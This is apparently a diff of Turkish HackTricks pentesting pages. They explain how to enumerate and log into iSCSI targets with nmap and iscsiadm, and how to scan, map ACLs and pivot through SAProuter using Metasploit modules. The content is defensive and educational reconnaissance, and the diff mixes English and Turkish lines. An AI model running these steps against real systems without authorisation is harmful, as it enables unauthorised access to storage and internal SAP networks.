* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,107 +1,90 @@
|
|||
# 3260 - ISCSI Pentesting
|
||||
# 3260 - Pentesting ISCSI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[Wikipedia](https://en.wikipedia.org/wiki/ISCSI)'dan alınan bilgilere göre:
|
||||
From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||
|
||||
> Bilgisayar biliminde, **iSCSI**, veri depolama tesislerini bağlamak için bir İnternet Protokolü (IP) tabanlı depolama ağı standardı olan **Internet Small Computer Systems Interface** kısaltmasıdır. SCSI komutlarını bir TCP/IP ağı üzerinden taşıyarak depolama cihazlarına blok düzeyinde erişim sağlar. iSCSI, veri transferlerini intranetler üzerinden gerçekleştirmek ve uzun mesafelerde depolama yönetimi yapmak için kullanılır. Yerel ağlar (LAN'lar), geniş alan ağları (WAN'lar) veya İnternet üzerinden veri iletimini sağlayabilir ve konum bağımsız veri depolama ve geri alma imkanı sunabilir.
|
||||
> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, bir Internet Protokolü (IP) tabanlı depolama ağ standardıdır. Veri depolama tesislerini bağlamak için kullanılır. SCSI komutlarını bir TCP/IP ağı üzerinden taşıyarak depolama cihazlarına blok düzeyinde erişim sağlar. iSCSI, intranetler üzerinden veri transferlerini kolaylaştırmak ve uzun mesafelerde depolamayı yönetmek için kullanılır. Yerel alan ağları (LAN), geniş alan ağları (WAN) veya İnternet üzerinden veri iletimi için kullanılabilir ve konumdan bağımsız veri depolama ve alma imkanı sağlar.
|
||||
>
|
||||
> Bu protokol, istemcilerin (başlatıcılar olarak adlandırılır) uzak sunuculardaki depolama cihazlarına SCSI komutlarını (CDB'ler) göndermesine olanak tanır. Bu, bir depolama alanı ağı (SAN) protokolüdür ve organizasyonlara depolamayı depolama dizilerine konsolide etme imkanı sağlarken, istemcilere (veritabanı ve web sunucuları gibi) yerel olarak bağlı SCSI disklerin yanılsamasını sunar. Genellikle özel kablolar gerektiren geleneksel Fibre Channel ile başlıca rekabet ederken, iSCSI mevcut ağ altyapısını kullanarak uzun mesafelerde çalıştırılabilir.
|
||||
> Protokol, istemcilerin (başlatıcılar olarak adlandırılır) uzak sunuculardaki depolama cihazlarına (hedefler) SCSI komutları (CDB'ler) göndermesine olanak tanır. Bu, depolama alanı ağı (SAN) protokolüdür ve kuruluşların depolamayı depolama dizilerine konsolide etmesine olanak tanırken, istemcilere (veritabanı ve web sunucuları gibi) yerel olarak bağlı SCSI diskleri yanılsaması sağlar. Temelde Fibre Channel ile rekabet eder, ancak genellikle özel kablolama gerektiren geleneksel Fibre Channel'ın aksine, iSCSI mevcut ağ altyapısı kullanılarak uzun mesafelerde çalıştırılabilir.
|
||||
|
||||
**Varsayılan port:** 3260
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3260/tcp open iscsi?
|
||||
```
|
||||
## Saptama
|
||||
|
||||
iSCSI, bir ağ protokolüdür ve ağ üzerinden depolama alanı sağlamak için kullanılır. iSCSI hedefleri, IP adresleri veya DNS isimleriyle belirtilen sunucular olarak tanımlanır. iSCSI hedeflerini belirlemek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **Port Taraması**: iSCSI hedeflerini bulmak için bir port taraması yapın. iSCSI, genellikle TCP 3260 portunu kullanır.
|
||||
|
||||
2. **iSCSI Keşfi**: iSCSI hedeflerini keşfetmek için iSCSI keşif komutlarını kullanın. Örneğin, `iscsiadm -m discovery -t sendtargets -p <hedef_IP>` komutunu kullanabilirsiniz.
|
||||
|
||||
3. **iSCSI Hedefleri Listeleme**: Keşfedilen iSCSI hedeflerini listelemek için `iscsiadm -m node` komutunu kullanın.
|
||||
|
||||
4. **iSCSI Hedefleri Ayrıntıları**: Keşfedilen iSCSI hedeflerinin ayrıntılarını almak için `iscsiadm -m node -T <hedef_adı> -p <hedef_IP> -l` komutunu kullanın.
|
||||
|
||||
5. **iSCSI Hedefleri Bağlantı Durumu**: Keşfedilen iSCSI hedeflerinin bağlantı durumunu kontrol etmek için `iscsiadm -m session` komutunu kullanın.
|
||||
|
||||
6. **iSCSI Hedefleri Bağlantısını Kesme**: Bağlantıyı kesmek için `iscsiadm -m node -T <hedef_adı> -p <hedef_IP> -u` komutunu kullanın.
|
||||
|
||||
7. **iSCSI Hedefleri Oturumunu Sonlandırma**: Oturumu sonlandırmak için `iscsiadm -m node -T <hedef_adı> -p <hedef_IP> -o delete` komutunu kullanın.
|
||||
|
||||
Bu adımları takip ederek iSCSI hedeflerini saptayabilir ve ayrıntılarını alabilirsiniz.
|
||||
## Sayım
|
||||
```
|
||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||
```
|
||||
Bu komut dosyası kimlik doğrulamasının gerekip gerekmediğini belirtecektir.
|
||||
Bu script, kimlik doğrulamanın gerekip gerekmediğini gösterecektir.
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
|
||||
### [Linux'ta ISCSI bağlama](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
### [Linux'ta ISCSI'yi Bağlama](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**Not:** Hedeflerinizin keşfedildiğinde farklı bir IP adresi altında listelendiğini fark edebilirsiniz. Bu genellikle iSCSI hizmetinin NAT veya sanal bir IP üzerinden açık olduğunda olur. Bu durumlarda, `iscsiadmin` bağlantı kurmada başarısız olur. Bu, keşif faaliyetleriniz tarafından otomatik olarak oluşturulan düğüm dizini adına ve bu dizin içindeki `default` dosyasına iki düzeltme gerektirir.
|
||||
**Not:** Hedefleriniz keşfedildiğinde, farklı bir IP adresi altında listelendiğini görebilirsiniz. Bu, iSCSI hizmetinin NAT veya sanal IP aracılığıyla açılması durumunda meydana gelir. Bu gibi durumlarda, `iscsiadmin` bağlantı kurmayı başaramaz. Bu, keşif faaliyetleriniz tarafından otomatik olarak oluşturulan düğümün dizin adı için bir ayar ve bu dizin içinde bulunan `default` dosyası için bir ayar gerektirir.
|
||||
|
||||
Örneğin, 123.123.123.123 IP adresindeki bir iSCSI hedefine 3260 numaralı bağlantı noktasından bağlanmaya çalışıyorsunuz. iSCSI hedefini sunan sunucu aslında 192.168.1.2 adresinde ancak NAT üzerinden açık. isciadm, _genel_ adres yerine _dahili_ adresi kaydedecektir.
|
||||
Örneğin, 123.123.123.123 adresindeki bir iSCSI hedefine 3260 portu üzerinden bağlanmaya çalışıyorsunuz. iSCSI hedefini açan sunucu aslında 192.168.1.2 adresindedir ancak NAT aracılığıyla açılmıştır. isciadm, _kendi_ adresini değil, _genel_ adresi kaydedecektir:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[...]
|
||||
```
|
||||
Bu komut, dosya sisteminizde şu şekilde bir dizin oluşturacaktır:
|
||||
Bu komut, dosya sisteminizde şöyle bir dizin oluşturacaktır:
|
||||
```
|
||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||
```
|
||||
Dizin içinde, hedefe bağlanmak için gerekli tüm ayarları içeren varsayılan bir dosya bulunur.
|
||||
Klasör içinde, hedefe bağlanmak için gerekli tüm ayarların bulunduğu bir varsayılan dosya vardır.
|
||||
|
||||
1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` dizinini `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` olarak yeniden adlandırın.
|
||||
2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` içinde, `node.conn[0].address` ayarını 192.168.1.2 yerine 123.123.123.123'e yönlendirecek şekilde değiştirin. Bu, `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` gibi bir komutla yapılabilir.
|
||||
1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` dosyasını `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` olarak yeniden adlandırın.
|
||||
2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` içinde, `node.conn[0].address` ayarını 192.168.1.2 yerine 123.123.123.123 olarak ayarlayın. Bu, `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` gibi bir komutla yapılabilir.
|
||||
|
||||
Şimdi, bağlantıyı talimatlara göre bağlayabilirsiniz.
|
||||
Artık bağlantıdaki talimatlara göre hedefi bağlayabilirsiniz.
|
||||
|
||||
### [Windows'ta ISCSI Bağlama](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
## **El ile numaralandırma**
|
||||
## **Manuel sayım**
|
||||
```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
Öncelikle, IP'nin arkasındaki hedeflerin adını **keşfetmeniz** gerekmektedir:
|
||||
Öncelikle IP'nin arkasındaki **hedeflerin** adını **bulmalısınız**:
|
||||
```bash
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
_Not edin ki, hedeflere ulaşabileceğiniz arayüzlerin I**P ve bağlantı noktasını** gösterecektir. Hatta kullandığınızdan farklı **dahili IP'leri veya farklı IP'leri** bile gösterebilir._
|
||||
_Not edin ki, bu, o **hedeflere ulaşabileceğiniz** **arayüzlerin** I**P ve portunu** gösterecektir. Hatta **kullandığınızdan farklı IP'leri veya iç IP'leri** bile **gösterebilir**._
|
||||
|
||||
Ardından, her satırın **yazdırılan dize'nin ikinci bölümünü yakalayın** (ilk satırdan _iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_) ve **giriş yapmaya çalışın**:
|
||||
Sonra, her satırın basılan dizesinin **2. kısmını yakalarsınız** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ ilk satırdan) ve **giriş yapmayı dener**:
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Ardından, `–logout` kullanarak **çıkış yapabilirsiniz**.
|
||||
Sonra, `–logout` kullanarak **çıkış yapabilirsiniz**.
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Sadece `--login`/`--logout` parametresi kullanmadan **daha fazla bilgi** bulabiliriz.
|
||||
**Daha fazla bilgi** bulabiliriz, sadece `--login`/`--logout` parametresi **kullanmadan**.
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||
# BEGIN RECORD 2.0-873
|
||||
|
@ -177,7 +160,7 @@ node.conn[0].iscsi.IFMarker = No
|
|||
node.conn[0].iscsi.OFMarker = No
|
||||
# END RECORD
|
||||
```
|
||||
**Temel alt ağ numaralandırma sürecini otomatikleştiren bir betik mevcuttur** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
**Temel alt ağ numaralandırma sürecini otomatikleştirmek için bir betik mevcuttur** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
|
||||
## **Shodan**
|
||||
|
||||
|
@ -188,16 +171,17 @@ node.conn[0].iscsi.OFMarker = No
|
|||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
## Metasploit ile SAProuter Sızma Testi Anlama
|
||||
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
SAProuter, SAP sistemleri için bir ters proxy olarak çalışır ve genellikle internet ile iç SAP ağları arasındaki erişimi kontrol etmek için kullanılır. Organizasyonel güvenlik duvarları aracılığıyla TCP port 3299'a izin verilerek genellikle internete açık hale getirilir. Bu yapılandırma, SAProuter'ın yüksek değerli iç ağlara bir geçit olarak hizmet edebileceği için sızma testi için çekici bir hedef haline gelir.
|
||||
## Metasploit ile SAProuter Penetrasyonu Anlamak
|
||||
|
||||
SAProuter, SAP sistemleri için bir ters proxy olarak işlev görür ve esasen internet ile dahili SAP ağları arasındaki erişimi kontrol etmek için kullanılır. Genellikle, organizasyonel güvenlik duvarları aracılığıyla TCP port 3299'ün açılmasıyla internete maruz bırakılır. Bu yapı, SAProuter'ı penetrasyon testi için cazip bir hedef haline getirir çünkü yüksek değerli dahili ağlara bir kapı görevi görebilir.
|
||||
|
||||
**Tarama ve Bilgi Toplama**
|
||||
|
||||
İlk olarak, **sap_service_discovery** modülü kullanılarak belirli bir IP üzerinde SAP router'ın çalışıp çalışmadığını tespit etmek için bir tarama yapılır. Bu adım, bir SAP router'ın varlığını ve açık portunu belirlemek için önemlidir.
|
||||
Başlangıçta, belirli bir IP adresinde bir SAP yönlendiricisinin çalışıp çalışmadığını belirlemek için **sap_service_discovery** modülü kullanılarak bir tarama gerçekleştirilir. Bu adım, bir SAP yönlendiricisinin varlığını ve açık portunu belirlemek için kritik öneme sahiptir.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
```
|
||||
Keşif yapıldıktan sonra, iç ağ ayrıntılarını ortaya çıkarmak için SAP yönlendiricisinin yapılandırmasıyla ilgili daha fazla araştırma yapılır. Bunun için **sap_router_info_request** modülü kullanılır.
|
||||
Keşiften sonra, **sap_router_info_request** modülü ile SAP yönlendiricisinin yapılandırması hakkında daha fazla araştırma yapılır ve bu, potansiyel olarak iç ağ detaylarını ortaya çıkarabilir.
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_router_info_request) > run
|
||||
```
|
||||
**Dahili Hizmetleri Sıralama**
|
||||
**İç Hizmetlerin Sayımı**
|
||||
|
||||
Elde edilen dahili ağ bilgileriyle, **sap_router_portscanner** modülü kullanılarak SAProuter üzerinden dahili ana bilgisayarları ve hizmetleri sorgulanır, bu da dahili ağlar ve hizmet yapılandırmaları hakkında daha derin bir anlayış sağlar.
|
||||
Elde edilen iç ağ bilgileriyle, **sap_router_portscanner** modülü, SAProuter üzerinden iç hostları ve hizmetleri sorgulamak için kullanılır ve bu, iç ağlar ve hizmet yapılandırmaları hakkında daha derin bir anlayış sağlar.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
```
|
||||
Bu modülün, belirli SAP örneklerini ve bağlantı noktalarını hedefleme esnekliği, ayrıntılı iç ağ keşfi için etkili bir araç yapar.
|
||||
Bu modülün belirli SAP örneklerine ve portlara hedefleme esnekliği, detaylı iç ağ keşfi için etkili bir araç olmasını sağlar.
|
||||
|
||||
**Gelişmiş Numaralandırma ve ACL Haritalama**
|
||||
**Gelişmiş Sayım ve ACL Haritalama**
|
||||
|
||||
Daha ileri tarama, SAProuter üzerindeki Erişim Kontrol Listelerinin (ACL'lerin) nasıl yapılandırıldığını ortaya çıkarabilir ve hangi bağlantıların izin verildiğini veya engellendiğini detaylandırabilir. Bu bilgi, güvenlik politikalarını ve potansiyel güvenlik açıklarını anlamak için önemlidir.
|
||||
Daha fazla tarama, SAProuter üzerindeki Erişim Kontrol Listelerinin (ACL) nasıl yapılandırıldığını ortaya çıkarabilir ve hangi bağlantıların izin verildiğini veya engellendiğini detaylandırabilir. Bu bilgi, güvenlik politikalarını ve potansiyel zayıflıkları anlamada kritik öneme sahiptir.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**İç Hostların Kör Numaralandırılması**
|
||||
**İç Hostların Kayıt Dışı Sayımı**
|
||||
|
||||
SAProuter'dan doğrudan bilgi almanın sınırlı olduğu senaryolarda, kör numaralandırma gibi teknikler uygulanabilir. Bu yaklaşım, doğrudan IP adresleri olmadan iç host adlarının varlığını tahmin etmeye ve doğrulamaya çalışarak potansiyel hedefleri ortaya çıkarır.
|
||||
SAProuter'dan doğrudan bilgi sınırlı olduğunda, kayıt dışı sayım gibi teknikler uygulanabilir. Bu yaklaşım, iç host adlarının varlığını tahmin etmeye ve doğrulamaya çalışarak, doğrudan IP adresleri olmadan potansiyel hedefleri ortaya çıkarır.
|
||||
|
||||
**Sızma Testi için Bilgileri Kullanma**
|
||||
**Sızma Testi İçin Bilgiyi Kullanma**
|
||||
|
||||
Ağın haritalandırılması ve erişilebilir hizmetlerin belirlenmesi sonrasında, sızma testçileri, iç SAP hizmetlerinin daha fazla keşfi ve sömürüsü için Metasploit'in proxy yeteneklerini SAProuter üzerinden kullanabilir.
|
||||
Ağı haritaladıktan ve erişilebilir hizmetleri belirledikten sonra, sızma test uzmanları Metasploit'in proxy yeteneklerini kullanarak SAProuter üzerinden iç SAP hizmetlerinin daha fazla keşfi ve istismarı için geçiş yapabilirler.
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
|
@ -63,12 +66,12 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
```
|
||||
**Sonuç**
|
||||
|
||||
Bu yaklaşım, güvenli SAProuter yapılandırmalarının önemini vurgulamakta ve hedefe yönelik penetrasyon testleri aracılığıyla iç ağlara erişim potansiyelini ortaya koymaktadır. SAP yönlendiricilerini doğru şekilde güvence altına almak ve ağ güvenliği mimarisindeki rolünü anlamak, yetkisiz erişime karşı korunmak için önemlidir.
|
||||
Bu yaklaşım, güvenli SAProuter yapılandırmalarının önemini vurgular ve hedefli pentesting ile iç ağlara erişim potansiyelini öne çıkarır. SAP yönlendiricilerini doğru bir şekilde güvence altına almak ve ağ güvenliği mimarisindeki rollerini anlamak, yetkisiz erişime karşı korunmak için kritik öneme sahiptir.
|
||||
|
||||
Daha detaylı bilgi için Metasploit modüllerine ve kullanımlarına [Rapid7 veritabanını](http://www.rapid7.com/db) ziyaret edebilirsiniz.
|
||||
Metasploit modülleri ve bunların kullanımı hakkında daha ayrıntılı bilgi için [Rapid7'nin veritabanını](http://www.rapid7.com/db) ziyaret edin.
|
||||
|
||||
|
||||
## **Referanslar**
|
||||
## **Kaynaklar**
|
||||
|
||||
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
|
@ -78,16 +81,17 @@ Daha detaylı bilgi için Metasploit modüllerine ve kullanımlarına [Rapid7 ve
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
